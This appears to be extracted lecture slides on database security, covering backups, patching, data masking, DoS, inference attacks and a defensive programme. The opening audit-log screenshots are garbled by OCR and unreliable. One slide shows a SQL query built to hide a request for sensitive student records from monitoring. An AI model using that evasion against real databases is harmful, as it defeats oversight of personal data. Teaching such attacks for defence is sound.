03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 16 03/23 03/23 03/2 03/2 03/2 03/2 03/2 03	5:35:25
Date Server Database Login Application	Client host Schema Object Operation	State Auditing alert' was triggered on instance ALEKSANDAR (SQL2016, Alert type: Data 03/23 to 03/23 t	6:35:24
SQL Server E	lata Collector -	Auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 16	.6:35:21
05/21/2015 03:19:03:995 PMI MILICA(SPOCK2014 Adventureworks2014 NT SERVICE(SQLAgentSSPOCK2014 Controller	MILICA sp_oledb_ro_usrname Exec	N/A Auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 10	.6:35:21
exec [sys].sp_oledb_ro_usrname		rity: Low	
05/27/2015 03:19:03.753 PM MILICA\SPOCK2014 AdventureWorks2014 NT SERVICE\SOLAgent\$SPOCK2014 SQL Server D	ata Collector - MILICA sp. oledb.ro. usrname Exec	N/A New auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 19	9:49:51
Controller	10 0 0	New auditing alert' was triggered on instance 'ALEKSANDAR'SQL2016'. Alert type: 'Data' 03/23 19	9:49:51
exec [sys].sp_oiedb_ro_dsiname	To the strand state on operations of	New auditing alert was triggered on instance ALEXSANDAR (SQL2016, Mert type: Data 03/23 10 New auditing alert' was triggered on instance 'ALEXSANDAR(SQL2016, Mert type: 'Data' 03/23 10	0-40-51
05/27/2015 03:15:23.580 PM MILICA\SPOCK2014 AdventureWorks2014 Milica\Milica-PC Microsoft SC Studio	L Server Management MILICA sys database_principals Delete	Success New auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 19	9:49:51
DELETE #tmp role member ids WHERE id in (SELECT		New auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016'. Alert type: 'Data' 03/23 19	9:08:50
rl.principal_id AS [ID]		New auditing alert' was triggered on instance 'ALEKSANDAR\SQL2016', Alert type: 'Data' 03/23 19	9:08:50
FROM svs.database principals AS rl			
WHERE			
(httpp://www.analytichanne=@_msparam_l)) Accessed objects: sus database principals sus suslanguages, sus suspalnames			
	NI Course Management	Source' ApexSOI	
05/27/2015 03:15:23.580 PM MILICA\SPOCK2014 AdventureWorks2014 Milica\Milica-PC Studio	MILICA sys database_role_members Insert	Success	
INSERT INTO #tmp role member ids (id, role id, sub role id, generation)			

SELECT a.member_principal_id, b.role_id, a.role_principal_id, @generation + 1



- After spear phishing and malware, it's often the database backups that are actually leaked in the end.
- Often something that's completely unprotected from an attack
- Shows up in the details of a variety of security breaches.
 - Need to monitor and look at the media itself.

Schedule Backup			
Oracle provides an automated backup strategy based on your disk and/or tape c customized backup strategy.	onfiguration. Alternatively, you can implement your own		
Oracle-Suggested Backup			
Sahadula a baakua using Oraala'a	(D) Backup Strategies		
automated backup strategy.	Oracle-suggested:		
This option will back up the entire database. The database will be backed up on daily and weekly intervals.	 Provides an out-of-the-box backup strategy based on the backup destination 		
Customized Backup	 Sets up recovery window for backup management 		
Select the object(s) you want to back up. (Schedule Customized Backup)	 Schedules recurring and immediate backups 		
Whole Database	 Automates backup management 		
◯ Tablespaces	Custamized:		
O Datafiles	 Specify the objects to be backed up 		
O Archived Logs	 Choose disk or tape backup destination 		
 All Recovery Files on Disk Includes all archived logs and disk backups that 	 Override the default backup settings Schedule the backup 		
are not already backed up to tape.			



Availability vs Confidentiality

3-2-1 rule of backup





- Oracle, Microsoft and IBM have big market share periodically patches and fixes.
 - Patches are rolled out and made available to their customers and wider community.
- ...But companies rarely have resources and/or abilities to immediately apply the patches to their systems.
- 28% of oracle users have never applied one of the database patches or don't know if their organization have done that. *
- 10% take a year or longer to apply a patch. *
 - Requirements for a stable business etc.

- You can easily end up with some of your sensitive data being used in testing environments, or R&D environments and not being managed properly.
 - Training
 - Use Data Masking



Source: Oracle

- DoS attacks can happen to databases.
- With databases:
 - Attackers overload server resources (memory usage, CPU)
 - Flooding database with queries that cause server to crash

Limited expertise & security training:

- Majority of organisations experienced staff related breaches when policies weren't well understood.
 - The very people controlling the policies on devices either don't understand the business aspects or technical aspects of the vulnerability.
- Small business (over half of them) don't even have a position for educating their staff about security risks, e.g. a software engineer whose learnt about software security.



- Hide your real query in a more complex query
 - \circ \quad Harder for the system to identify the real query
- Example "Determine who has self-reported drug use"

```
SELECT * FROM Students WHERE (Attend="0" OR Attend="1") AND
((Attend="0" AND Drugs="1") OR (Attend="1" AND Drugs="1"))
OR (Attend<>"0" AND Attend<>"1") OR College="Ustinov"
```

• Simplifies to:

```
SELECT * FROM Students WHERE Drugs="1"
```



- Data mining technique:
 - Analyze data in order to illegitimately gain knowledge of subject or database.
 - Sensitive information can be leaked if hacker can infer real value with high confidence.
- Occur when someone is allowed to execute queries that they're authorized for, but by executing those queries they are able to gain access to information for which they are not authorized.

Example paper:

"Inference Attack on Browsing History of Twitter Users Using Public Click Analytics and Twitter Metadata", IEEE Transactions on Dependable and Secure Computing.



Good approach:

- 1. Discovery and assessment
 - You can't protect against problems if you don't know they exist.
 - Quickly identify sensitive data and assessing vulnerabilities/misconfigurations.
- 2. User rights management
 - Make sure you have a thorough process to review and eliminate excessive user rights.
- 3. Monitoring and blocking
 - Have procedures in place to monitor activity and block attempted policy violations
- 4. Auditing (creating a trail)
- 5. Protecting the data
 - Storage encryption, tamper-proof audit trail
- 6. Non-technical security
 - Raise awareness and cultivate experienced security professionals

Approach Source: Imperva



